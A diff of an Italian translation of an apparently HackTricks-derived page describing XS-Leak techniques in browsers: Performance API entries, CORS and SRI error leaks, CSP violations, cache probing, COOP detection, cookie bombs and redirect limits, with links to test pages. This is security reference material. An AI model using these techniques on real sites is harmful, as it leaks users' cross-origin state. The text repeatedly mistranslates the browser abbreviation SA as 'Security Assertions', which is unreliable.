* **Sommario:** A causa di un bug del browser, le richieste che generano errori vengono caricate due volte. * **Sommario:** A causa di un bug del browser, le richieste che generano errori vengono caricate due volte.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
Nella tecnica precedente sono stati identificati due casi in cui i bug del browser in GC portano al **caricamento duplicato delle risorse quando non vengono caricate correttamente**. Ciò comporterà la presenza di voci multiple nell'API delle Prestazioni e quindi può essere rilevato. Nella tecnica precedente sono stati identificati due casi in cui i bug del browser in GC portano al **caricamento duplicato delle risorse in caso di errore nel caricamento**. Ciò comporterà la presenza di voci multiple nell'API delle Prestazioni e quindi può essere rilevato.
### Errore di Unione delle Richieste ### Errore di Unione delle Richieste
@ -337,48 +344,48 @@ Nella tecnica precedente sono stati identificati due casi in cui i bug del brows
* **Sommario:** Le richieste che generano un errore non possono essere unite. * **Sommario:** Le richieste che generano un errore non possono essere unite.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
La tecnica è stata trovata in una tabella nel paper menzionato ma non è stata trovata alcuna descrizione della tecnica. Tuttavia, è possibile trovare il codice sorgente che la verifica in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) La tecnica è stata trovata in una tabella nel paper menzionato, ma non è stata trovata alcuna descrizione della tecnica. Tuttavia, è possibile trovare il codice sorgente che ne verifica la presenza in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Fuga di Pagine Vuote ### Fuga di Pagine Vuote
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina * **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) * **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** Le risposte vuote non creano voci di tempistica delle risorse. * **Sommario:** Le risposte vuote non creano voci di temporizzazione delle risorse.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Un attaccante può rilevare se una richiesta ha prodotto un corpo di risposta HTTP vuoto perché le **pagine vuote non creano una voce di prestazioni in alcuni browser**. Un attaccante può rilevare se una richiesta ha generato un corpo di risposta HTTP vuoto perché le **pagine vuote non creano una voce di prestazione in alcuni browser**.
### **Fuga XSS-Auditor** ### **Fuga di XSS-Auditor**
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina * **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) * **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** Utilizzando l'Auditor XSS nelle Asserzioni di Sicurezza, gli attaccanti possono rilevare elementi specifici delle pagine web osservando le modifiche nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor. * **Sommario:** Utilizzando l'Auditor XSS nelle Asseverazioni di Sicurezza, gli attaccanti possono rilevare elementi specifici delle pagine web osservando le modifiche nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
Nelle Asserzioni di Sicurezza (SA), l'Auditor XSS, originariamente pensato per prevenire attacchi di Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Anche se questa funzionalità integrata è stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS poteva bloccare involontariamente script legittimi, portando a falsi positivi. Basandosi su questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente segnalato da Terada ed elaborato da Heyes in un post sul blog. Anche se queste tecniche erano specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API delle Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere divulgate. Nelle Asseverazioni di Sicurezza (SA), l'Auditor XSS, originariamente pensato per prevenire attacchi di Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Anche se questa funzionalità integrata è stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS poteva bloccare involontariamente script legittimi, portando a falsi positivi. Basandosi su questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici nelle pagine cross-origin, un concetto noto come XS-Leaks, inizialmente segnalato da Terada ed elaborato da Heyes in un post sul blog. Anche se queste tecniche erano specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API delle Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere divulgate.
### Fuga X-Frame ### Fuga di X-Frame
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazione * **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options) * **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Sommario:** Una risorsa con l'intestazione X-Frame-Options non crea una voce di tempistica delle risorse. * **Sommario:** Una risorsa con l'intestazione X-Frame-Options non crea una voce di temporizzazione delle risorse.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Se una pagina **non è autorizzata** a essere **renderizzata** in un **iframe**, non crea una voce di prestazioni. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\ Se una pagina **non è autorizzata** a essere **visualizzata** in un **iframe**, non crea una voce di prestazione. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
Lo stesso accade se si utilizza un tag **embed**. Lo stesso accade se si utilizza un **tag di incorporamento.**
### Rilevamento del Download ### Rilevamento del Download
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazione * **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) * **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** I download non creano voci di tempistica delle risorse nell'API delle Prestazioni. * **Sommario:** I download non creano voci di temporizzazione delle risorse nell'API delle Prestazioni.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) * **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Analogamente all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **una voce di prestazioni**. Questa tecnica funziona in tutti i principali browser. Analogamente all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea nemmeno una voce di prestazione. Questa tecnica funziona in tutti i principali browser.
### Inizio Reindirizzamento Leak ### Inizio Reindirizzamento Leak
* **Metodi di Inclusione**: Frames * **Metodi di Inclusione**: Frames
@ -489,7 +496,7 @@ audioElement.onerror = errHandler;
* **Sommario:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate. * **Sommario:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Questa tecnica consente a un attaccante di **evidenziare la destinazione di un reindirizzamento di un sito cross-origin** sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando una **richiesta abilitata CORS** viene inviata a un sito di destinazione che emette un reindirizzamento basato sullo stato dell'utente e il browser successivamente nega la richiesta, l'**URL completo del target del reindirizzamento** viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il reindirizzamento ma espone anche il punto finale del reindirizzamento e eventuali **parametri di query sensibili** che potrebbe contenere. Questa tecnica consente a un attaccante di **evidenziare la destinazione di un reindirizzamento di un sito cross-origin** sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando viene inviata una **richiesta abilitata CORS** a un sito di destinazione che emette un reindirizzamento in base allo stato dell'utente e il browser successivamente nega la richiesta, l'**URL completo del target del reindirizzamento** viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il reindirizzamento ma espone anche il punto finale del reindirizzamento e eventuali **parametri di query sensibili** che potrebbe contenere.
### Errore SRI ### Errore SRI
@ -499,7 +506,7 @@ Questa tecnica consente a un attaccante di **evidenziare la destinazione di un r
* **Sommario:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate. * **Sommario:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
* **Esempio di Codice**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Un attaccante può sfruttare i **messaggi di errore dettagliati** per dedurre le dimensioni delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Perché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), simile al CORS error XS-Leak, un messaggio di errore può essere catturato dopo una richiesta fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **scatenare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa fuga di informazioni consente a un attaccante di discernere le variazioni nelle dimensioni delle risposte, aprendo la strada a sofisticati attacchi XS-Leak. Un attaccante può sfruttare i **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Perché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), simile al CORS error XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **scatenare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa fuga di informazioni consente a un attaccante di distinguere le variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
### Violazione/Rilevamento CSP ### Violazione/Rilevamento CSP
@ -510,29 +517,29 @@ Un attaccante può sfruttare i **messaggi di errore dettagliati** per dedurre le
* **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) * **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa fuga può rilevare il reindirizzamento, ma inoltre, il dominio del target del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, **reindirizza** a un dominio cross-origin. Il **CSP blocca** l'accesso ad esso e crea un **rapporto di violazione utilizzato come tecnica di fuga**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\ Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa fuga può rilevare il reindirizzamento, ma inoltre, il dominio del target del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, **reindirizza** a un dominio cross-origin. Il **CSP blocca** l'accesso ad esso e crea un **rapporto di violazione utilizzato come tecnica di fuga**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\
I browser moderni non indicheranno l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin. I browser moderni non indicano l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin.
### Cache ### Cache
* **Metodi di Inclusione**: Frame, Pop-up * **Metodi di Inclusione**: Frame, Pop-up
* **Differenza Rilevabile**: Contenuto della Pagina * **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) * **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Sommario:** Cancella il file dalla cache. Apre la pagina di destinazione e verifica se il file è presente nella cache. * **Sommario:** Cancella il file dalla cache. Apre la pagina di destinazione e controlla se il file è presente nella cache.
* **Esempio di Codice:** * **Esempio di Codice:**
I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina di destinazione ha **richiesto un file specifico**. I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina di destinazione ha **richiesto un file specifico**.
Se una pagina carica un'immagine solo se l'utente è autenticato, è possibile **invalidare** la **risorsa** (in modo che non sia più in cache se lo era, vedi ulteriori informazioni), **effettuare una richiesta** che potrebbe caricare quella risorsa e provare a caricare la risorsa **con una richiesta errata** (ad esempio utilizzando un header referer troppo lungo). Se il caricamento della risorsa **non ha attivato alcun errore**, è perché era **in cache**. Se una pagina carica un'immagine solo se l'utente è autenticato, è possibile **invalidare** la **risorsa** (in modo che non sia più in cache se lo era, vedi link per ulteriori informazioni), **effettuare una richiesta** che potrebbe caricare quella risorsa e provare a caricare la risorsa **con una richiesta errata** (ad esempio utilizzando un header referer troppo lungo). Se il caricamento della risorsa **non attiva alcun errore**, è perché era **in cache**.
### Direttiva CSP ### Direttiva CSP
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Header * **Differenza Rilevabile**: Header
* **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) * **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Sommario:** Le direttive dell'intestazione CSP possono essere esplorate utilizzando l'attributo iframe CSP, rivelando dettagli della policy. * **Sommario:** Le direttive dell'header CSP possono essere esplorate utilizzando l'attributo iframe CSP, rivelando dettagli della policy.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con direttive di policy trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare ciò tramite un'intestazione HTTP**, altrimenti viene visualizzata una **pagina di errore**. Tuttavia, se l'iframe è già regolato da un CSP e la nuova policy proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre una via per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Anche se questa vulnerabilità è stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di fuga** in grado di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente risolto. Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con direttive di policy trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare ciò tramite un header HTTP**, altrimenti viene visualizzata una **pagina di errore**. Tuttavia, se l'iframe è già regolato da un CSP e la nuova policy proposta non è più restrittiva, la pagina si caricherà normalmente. Questo meccanismo apre una via per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Anche se questa vulnerabilità è stata segnata come risolta, le nostre scoperte rivelano una **nuova tecnica di fuga** in grado di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente risolto.
### **CORP** ### **CORP**
@ -559,7 +566,7 @@ Controlla il link per ulteriori informazioni sull'attacco.
* **Sommario**: Se l'intestazione Origin viene riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile verificare se una risorsa è già presente nella cache. * **Sommario**: Se l'intestazione Origin viene riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile verificare se una risorsa è già presente nella cache.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se **non viene generato un errore**, significa che è stata **recuperata correttamente dal web**, se viene generato un errore, è perché è stata **acceduta dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante).\ Nel caso in cui l'intestazione **Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può sfruttare questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se non viene **generato un errore**, significa che è stata **recuperata correttamente dal web**, se viene generato un errore, è perché è stata **acceduta dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio degli attaccanti)**.**\
Si noti che se l'origine non viene riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo metodo non funzionerà. Si noti che se l'origine non viene riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo metodo non funzionerà.
## Tecnica degli Attributi Leggibili ## Tecnica degli Attributi Leggibili
@ -569,7 +576,7 @@ Si noti che se l'origine non viene riflessa ma viene utilizzato un carattere jol
* **Metodi di Inclusione**: Fetch API * **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Codice di Stato * **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html) * **Ulteriori informazioni**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Sommario:** GC e SA consentono di verificare il tipo di risposta (redirect opaco) dopo il completamento del reindirizzamento. * **Sommario:** GC e SA consentono di verificare il tipo di risposta (redirezione opaca) dopo che il reindirizzamento è stato completato.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Inviando una richiesta utilizzando Fetch API con `redirect: "manual"` e altri parametri, è possibile leggere l'attributo `response.type` e se è uguale a `opaqueredirect` allora la risposta è stata un reindirizzamento. Inviando una richiesta utilizzando Fetch API con `redirect: "manual"` e altri parametri, è possibile leggere l'attributo `response.type` e se è uguale a `opaqueredirect` allora la risposta è stata un reindirizzamento.
@ -579,10 +586,10 @@ Inviando una richiesta utilizzando Fetch API con `redirect: "manual"` e altri pa
* **Metodi di Inclusione**: Pop-up * **Metodi di Inclusione**: Pop-up
* **Differenza Rilevabile**: Intestazione * **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/) * **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Sommario:** Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso alle interazioni tra origini diverse. * **Sommario:** Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso da interazioni cross-origin.
* **Esempio di Codice**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP tra origini diverse. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrari. La visibilità di questa intestazione può essere individuata tentando di accedere al riferimento **`contentWindow`**. Nei casi in cui COOP viene applicato condizionalmente, la proprietà **`opener`** diventa un indicatore lampante: è **non definita** quando COOP è attiva e **definita** in sua assenza. Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrari. La visibilità di questa intestazione può essere individuata tentando di accedere al riferimento **`contentWindow`**. Nei casi in cui COOP viene applicato condizionalmente, la proprietà **`opener`** diventa un indicatore lampante: è **non definita** quando COOP è attiva, e **definita** in sua assenza.
### Lunghezza Massima dell'URL - Lato Server ### Lunghezza Massima dell'URL - Lato Server
@ -592,9 +599,9 @@ Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin
* **Sommario:** Rilevare differenze nelle risposte a causa della lunghezza della risposta al reindirizzamento potrebbe essere troppo grande in modo che il server risponda con un errore e venga generato un avviso. * **Sommario:** Rilevare differenze nelle risposte a causa della lunghezza della risposta al reindirizzamento potrebbe essere troppo grande in modo che il server risponda con un errore e venga generato un avviso.
* **Esempio di Codice**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Se un reindirizzamento lato server utilizza **input utente all'interno del reindirizzamento** e **dati aggiuntivi**, è possibile rilevare questo comportamento perché di solito i **server** hanno un **limite di lunghezza della richiesta**. Se i **dati dell'utente** sono di quella **lunghezza - 1**, poiché il **reindirizzamento** sta utilizzando **quei dati** e **aggiungendo** qualcosa **in più**, verrà generato un **errore rilevabile tramite Eventi di Errore**. Se un reindirizzamento lato server utilizza **input utente all'interno del reindirizzamento** e **dati aggiuntivi**. È possibile rilevare questo comportamento perché di solito i **server** hanno un **limite di lunghezza della richiesta**. Se i **dati utente** sono di quella **lunghezza - 1**, poiché il **reindirizzamento** sta utilizzando **quei dati** e **aggiungendo** qualcosa **in più**, verrà generato un **errore rilevabile tramite Error Events**.
Se in qualche modo è possibile impostare i cookie per un utente, è possibile eseguire questo attacco anche **impostando abbastanza cookie** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione aumentata della risposta corretta** venga generato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (così puoi controllare gli errori).\ Se in qualche modo è possibile impostare i cookie a un utente, è possibile eseguire questo attacco anche **impostando abbastanza cookie** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta corretta aumentata** un **errore** venga generato. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (quindi è possibile controllare gli errori).\
Un esempio del **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo articolo: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended) Un esempio del **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo articolo: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` o essere nello stesso contesto è di solito necessario per questo tipo di attacco. `SameSite=None` o essere nello stesso contesto è di solito necessario per questo tipo di attacco.
@ -620,7 +627,7 @@ Tutte le informazioni aggiuntive necessarie per raggiungere i **2MB** possono es
{% content-ref url="url-max-length-client-side.md" %} {% content-ref url="url-max-length-client-side.md" %}
[url-max-length-client-side.md](url-max-length-client-side.md) [url-max-length-client-side.md](url-max-length-client-side.md)
{% endcontent-ref %} {% endcontent-ref %}
### Massimo numero di reindirizzamenti ### Numero massimo di reindirizzamenti
* **Metodi di inclusione**: Fetch API, Frames * **Metodi di inclusione**: Fetch API, Frames
* **Differenza rilevabile**: Codice di stato * **Differenza rilevabile**: Codice di stato
@ -628,7 +635,7 @@ Tutte le informazioni aggiuntive necessarie per raggiungere i **2MB** possono es
* **Sommario:** Utilizzare il limite di reindirizzamenti del browser per verificare la presenza di reindirizzamenti URL. * **Sommario:** Utilizzare il limite di reindirizzamenti del browser per verificare la presenza di reindirizzamenti URL.
* **Esempio di codice**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak) * **Esempio di codice**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
